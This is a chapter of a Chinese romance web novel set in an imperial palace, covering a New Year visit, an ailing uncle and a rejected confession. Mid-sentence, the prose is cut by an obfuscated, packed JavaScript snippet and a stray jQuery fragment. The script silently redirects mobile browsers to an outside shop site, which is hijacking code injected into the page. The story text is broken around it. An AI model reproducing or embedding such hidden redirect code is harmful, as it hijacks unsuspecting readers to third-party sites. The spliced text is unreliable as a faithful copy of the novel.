除夕的前一天街上锣鼓喧天鞭炮齐鸣在宫里都能听见,她坐在值房里把头凑过去问道:“玉兰姐,又给爹娘写信呀?”
马玉兰赶紧遮住,脸上一片绯红,“别看了。”
“写得什么呀?”
神神秘秘的。
马玉兰折上放在袖口里,“爹娘给我说了门亲事,对方是个秀才,让我明年出宫回去嫁人,弟弟也中了功名。”
程鱼眼睛都亮了,“恭喜啊!双喜临门。”
“恭喜什么呀!都还不知道对方是什么样呢?”
“我是不是以后多巴结你些,你即将是秀才夫人了。”她心里是发自内心的羡慕和激动,要是她有个兄弟姐妹就好了。
马玉兰笑道:“是挺好的…弟弟有出息了别人就不那么看扁我了。”
“小宇你还小,不如等到我省亲的时候跟我回趟老家,我弟弟还没有人跟他说亲事,你们两个先……”
程鱼惊讶道:“我还小?也不小了,不能老牛吃嫩草。”
她这个身份不能高攀这些有功名官身的人。
马玉兰将信放在桌子上,“小宇,你过年有着落了吗?”
她是真心为程鱼打抱不平,她又没有作奸犯科更何况是亲姑侄怎么闹这样?
说到这个程鱼垂下了头,“还不知道呢。”
临近年关,祯和特意许了宫里一些人的年假她就是其中之一,她没地方去,在值房呆着又觉得消耗时光,打算去外面挣点银子。
明天是除夕,她答应了去给杨大人写春联,还要第一个去,回来的时候买点好菜自己在值房放灯看烟火。
除夕这天到十五都休息,各家的红灯笼已经挂在屋檐下下面系着彩绸,张灯结彩,官道两边都是百戏和集市。
程鱼背着书袋直奔椿和胡同,她拍了几下,没人开门,然后又敲了几下,她跳上墙头看了一眼院子里空荡荡的,没有一丝人的气息。
杨大人他竟然搬走了!
怪不得平时就能闻到饭香的拐角这会儿有一股子远处飘来的马粪味。
不是说好了要让她去写春联,怎么还食言了?
她没有立马从墙头上跳下来,依然不相信新摆在面前的真相。
也许是杨大人一家子出去了没回来,一会儿就到家了。
她脚下一滑,这木梯便开始吱呀吱呀的乱晃,这是她向旁边的一家随便借来的云梯,大概是她这段时间吃胖了,梯子承受不了重量。
她脚尖试探了下,等到踩实了才慢慢往下滑。
‘咔嚓’一声,梯子就从中间断裂开,整个人从后面开始仰了下去。
有时候真想给自己算一下卦,为什么总是能莫名其妙的摔着磕着?
难道她的运气那么差吗?
本朝怎么没有能买人身保险的地方啊!!
“救命!!”
她闭上了眼睛,这一摔轻则骨折,重则下一世再做条不偷窥别人的鱼吧。
这时一双手轻轻地在她背后托住,她落入了一个温暖的怀抱,有人将她稳稳得接住。
“杨..”
“...大人。”
他身上穿着绯色的官袍,她柔软的脸贴着他的胸膛,抬头仰视着他对上目光,果然见他眉心皱成一团。
一双眸子含水黑色的瞳孔如珍珠,映着他一张肃正的脸,他原地愣了一下,周围都静的可怕,他几乎能听到自己的心跳,淡淡的香味传到鼻尖。
他放下她,见她站稳便抽开了手。
杨鲤刚刚安置长姐回来,自从圣上不再传召筳讲,他与程鱼便没有独处的时间。
他没办法告诉她自己搬家,他记得约定一直害怕她会找空,自己住在原来的院子。
他把她领到书房,递给她一条手帕。
“谢谢。”
程鱼道:“怎么不见婉娘她们?”
文庆笑道:“公子将她们安置在了另外的胡同院子里,公子怕你跑空,特意在这里等你。”
“婉娘你们为什么要分开?”
文庆看了一眼杨鲤,“此事说来话长,程姑娘还是以后再来告诉你。”
她马上懂了,没再继续多问既然杨鲤不肯多说,那她还是不要问了。
他想跟她解释却不知道该如何同她说。
屋外门突然传来一阵猫叫,一个白色毛绒的头来回顶门。
“黛福!”
程鱼打开门,拦腰把它搂在怀里,“乖乖小猫,想死你了。”
小猫的头又小又软,她用脸来回地蹭来蹭去。
文庆暧了一声道:“这猫怎么又回来了?”
程鱼自豪的仰起头,“我的小猫可是最聪明的,也是最有灵性的猫,天南地北它都熟。”
“宫里的猫都是我看管的,我把它们调教的可好了。”
“你说是不是呀?杨大人?”
她非要找个见证人。
杨鲤失笑。
程鱼道:“事不宜迟,我来帮杨大人写字吧!杨大人刚搬了新院子,不如我给杨大人提一首诗怎么样。”
“好。”
程鱼坐在案桌前冥想了一段时间,刚刚在来的路上她已经想好的,结果出了点小插曲,什么也想不起来了,可她脑中空无一物,怕想出来的事太俗,杨鲤嫌弃怎么办?
程鱼实在想不出,最后放下笔道:“要不改天再说吧!”
说着她便开始收拾桌上的东西。
“我有一首。”他突然说道。
他在纸上挥洒几下。
“好!”
程鱼一幅大显身手的样子,文庆和杨鲤的目光都投到她身上,她第一次这么紧张,手上拿着笔一直抖个不停,直到墨水都洒在纸上几滴。
杨鲤别开了头,吩咐道:“文庆去拿凳子给程姑娘。”
文庆应了一声随后走了出去。
程鱼没有了人盯着,那某名的紧张感随之而散,随后潇洒地在纸上写下几笔。
文庆赞叹道:“程姑娘的字太好看了吧!”
这句话很受用呢。
程鱼拍了拍手道:“好了,我回去了!”
文庆道:“婉娘今日知道程姑娘你来,所以特意做了酥饼和茄盒,程姑娘不来一起吃饭吗?”
程鱼本想拒绝,听到婉娘做的饭,她下意识地吞了个口水,反正一会儿回去还要吃。
她看了看杨鲤,他的目光柔和。
“我去!”
文庆在前面领着路,杨大人在她后面跟着,她抱着黛福,时不时地回头看他一眼。
人挤人的时候,他与她贴的很近,守着礼节,往后退她感觉他的气息就在脖子后面,她根本不会怕有其他的男人靠近,贴近她,对她图谋不轨。
女子的脸蛋通红。
到了新的院子,这里很隐蔽也很新,杨大人升官了就是不一样。
一进院子她傻眼了,中堂坐的还有陈廉这家伙。
他正在和婉娘说话,眼中带了些阴沉。
她浑身一怔到了跟前也没喊人。
“小宇,你现在连哥哥都不叫了。”
她一时没想明白,为什么今天陈廉竟在这里,这个时辰他不是应该在家里接待客人照顾姑父之类的事。
陈廉见她一脸不高兴,没急着问站起来对着杨鲤拱手,脸色很不好看道:“父亲病了,想着你不在叫我去接你,我去宫里不见你,有听说前日杨大人搬家所以我便来这里看看。”
她想问陈廉为什么直接不写信,她也不用他亲自来接的,只是在这里她不好意思明问。
程鱼道:“大过年的怎么病那么重?”
陈廉叹了一口气,“病入骨髓,都是旧疾了,本来以为办完喜事人也看上去精神一些,可是没过几天又回到老样子,甚至更重了。”
杨鲤道:“老先生是得了什么病?”
陈廉道:“大夫说是常年奔波劳累成疾,身体虚弱,我母亲不知从哪里得来的偏门方子,一直给父亲想办法补身子,没想到补过了,身体积重过多虚不胜补落下病根,阴阳失调,去年得了伤寒现在一直在床上躺着,整晚整晚的咳嗽,看着令人难受。”
程鱼一愣,没想到姑父的病是这个原因,他的病也不严重,就是小病熬成了大病,要是在现代输输液,吃点消炎药就好了。
她本来也是一直想见见姑父的,可又不知道怎么去见。
“表哥你别担心,姑父他吉人自有天相一定会好的。”
杨鲤道:“老先生一定会好的。”
他刚才还在担心她无处可去,现在见陈家的人还愿意收留她,他心里也放心了,可是却有一点淡淡的失落。
他督了一眼程鱼她正担忧着一张脸。
她自然是要去的,毕竟姑父对她那么好,说着她回头看向,婉娘她们几个,“那婉娘我先回去了,改日再来看你们!”
婉娘笑道:“好。”
回去的路上,程鱼坐在马车里,陈廉也没有骑马,反常地与她坐在一个车厢,她知道陈廉想说什么,可她偏不提,两人一直沉默着。
直到马车嘶鸣,停在了陈家门口,进宝见到从马车上走下来的人傻眼了,公子又把人接回来了。
“我来看看老爷。”
进宝听后迅速侧着身子让了位置,“..好,表小姐这边请。”
她一进院子穿过走廊,便直奔姑父所在的宅院。
房屋门紧闭贴身伺候姑父的小厮丫鬟见状忙掀开帘子,走到东次房里头姑姑在床旁边候着姑父,一边的孙雁玉也小心翼翼地伺候着,而姑父紧闭着双眼应该是刚喝过药了,还没醒。
姑姑拉着孙雁玉给程鱼递过去一道眼色,“走,去外面说。”
程鱼走到中堂上前行礼拜年,“嫂嫂,姑姑新年安康。”
姑姑没忍住对着陈廉使了个眼色,陈廉当做是没看见似的,也不让丫鬟婆子上前自己给程鱼添茶倒水的,还不忘端来点心。
孙雁玉开口道:“厢房收拾好了,妹妹不如待到新年后再走吧。”
她今天还打算回去,今天来完全是来看姑父一眼,并没有打算长留在这里。
“不了,嫂嫂,我打算今晚就回去。”
“今晚?”陈廉道。
“为什么那么急?”
“今日原本打算看望姑父的,来这里是要在姑姑和姑父面前尽尽孝心,别的什么也不做。”
陈母听了很是受用,大过年的她不想在媳妇面前说不好听的话,再说她是来进孝心的,也不算什么坏事,这一年不见这丫头倒是会说话了。
“今年让你接回来是你姑父我们两
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17630672|203026||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个人的意思,想来你在外面没有什么依靠,你姑父又重病想见见你,现在刚吃了药,等过几天醒来你再走也不迟。”
她答应了,休息几天也好,反正本来也没事,大不了她不出去就好了。
小年一过紧接着离新年不远了,到了除夕夜这天,很多宾客前来拜访,后院的戏台子一直没有停过,程鱼出门都是走的后面的小院,这段时间她不停的练字,为别人写字抄书,赚了不少书费钱明年夏天就能把欠严正平的钱给还了,回想过去的一年里她什么也没有挣到,一分儿也没有给自己落下。
真是难受。
她搂住黛福在院子里的长廊来回悠悠转转,无所事事。
“在这里做什么呢?”
她听着声音那怪熟悉,回首一看竟是严正平。
他来陈家做什么?
“你怎么来了?”
他们互相好几月没说话。
严正平没生气道:“我来看看陈伯父,顺便拜访陈家商量一件事情,怎么了?”
他怎么就叫上陈伯父了?
严正平将她身子转扭过来,正对着他自己。
“这几个月我想了好久,我有话对你说。”
程鱼道:“我也有话和你说,还是你先说。”
他嘴角抽搐半天,只觉得接下来说的话烫嘴,“程鱼我想清楚了,我,我心悦你。”
“你想做什么?”
严正平黑着脸,“到现在你还有我装聋作哑有意思吗?”
程鱼其实没有往那个方面想,可是现在她知道了,“严公公,可我不喜欢你。”
严正平道:“为什么你不喜欢我?你不喜欢我,那你心悦的人谁?”
程鱼道:“我没有。”
严正平脸上终于有了裂痕,她给别人亲自绣手套,陈廉也有,偏偏他就没有。
“你说什么?”
“我说没有。”
这下全都说出来了,终于撕破脸了,身上的负担都轻松许多。
她没有管严正平的伤心的意思,“对了,我这里还有点钱,是五十两,还差一百两,等我明年就还你。”
严正平悲痛欲绝,“你真是好狠的心肠。”
她没看他脸,“实话实说,第一次见严公公的时候我并不讨厌你,可是你后来的所作所为让我感到厌恶,若是与你在一起我会觉得对不起自己,我不喜欢不尊重我的人,表哥是这样,你也是这样。”
“我刚来陈家的时候孑然一身只想依附陈家,可是在这里除了姑父,没有真正一个人把我当成人看,连我自己的亲生姑姑都把当成一个低贱的玩意。表哥之所以对我穷追不舍是因为他觉得我身份低贱,又没有父母依靠迟早会是他的囊中之物。所以我不肯依附他,进了宫当的女官,我不是一个玩意,这辈子除了我可以自己轻视自己,我不允许别人轻视我,还有,我年纪大了,不想过勾心斗角的生活,出宫后有钱能吃能喝过平淡日子就好,我并不在意我未来郎君是什么样子,只要能过上一生一世一双人、平淡没有是非的日子就很知足了。”
“你心疼小殿下,心疼杨鲤,共情公主却唯独讨厌我。”
难道他就这样卑劣,惹人厌弃到骨子里?
程鱼抬头道:“你从不相信我,又逼我做我讨厌的事。”
“我也很讨厌皇宫,我讨厌谄媚圣上,我讨厌从小长大的上京,我讨厌杀人,可我也一样在这里忍受!我也无时无刻地想解脱,我在这里的每一天都能想起我长姐、我娘、我爹、还有我三岁的妹妹,只有这样我才能提醒自己每天还有大仇未报,我等了二十多年...整整二十多年,哦?对了,你知道我妹妹是怎么死的吗?”
“她被一群狗活生生咬死的,害死她的是萧家长孙,是范永教我如何找到萧家的把柄,行刑那一天我让他看着自己的孩子、妻儿关在铁笼里被狗咬死。”
他越说越兴奋,激动的浑身颤抖,“那天我本来是想宽恕他,可是谁让他不听话,那我只好将他们一个一个的...”
“你不要说了!”
程鱼道:“严正平,范永世他真的不是一个可以信的人!”
“你告诉我原因。”
她现在没有找到证据,只能摇头道:“我不能告诉你。”
严正平掐着她的脸蛋道:“程鱼有时候我会觉得你身上藏了很多秘密,我一直看不透你,看不透你...今日就当我从未来过吧”
“多谢严公公,我不送了,以后我们是上司我还是你的下属,你交给我的事,我也没办成,但你也没少算计我,你也知道你想知道的,不如都将这一切都忘记吧!”
严正平强扯出一丝笑容道:“你都知道了?”
程鱼道:“我也不是个傻子,没糊涂到那种地步。”
严正平头也不回地走掉了。
程鱼见他走,自己重新从月门走回去。
没想到刚一跨出去,便看到一抹清瘦的身影。
杨鲤站在门外走也不是,进也不是,他原本是来拜访老先生,为他领路的小厮走到一半被叫去做别的事,小厮说从前面的庭院穿过去就是陈父招待客人的地方。
他走到月门听到这边有声音,里面好像是有人在吵架,这是别人家府里的私事,他想另寻路走开没成想他听到程鱼和严正平的声音。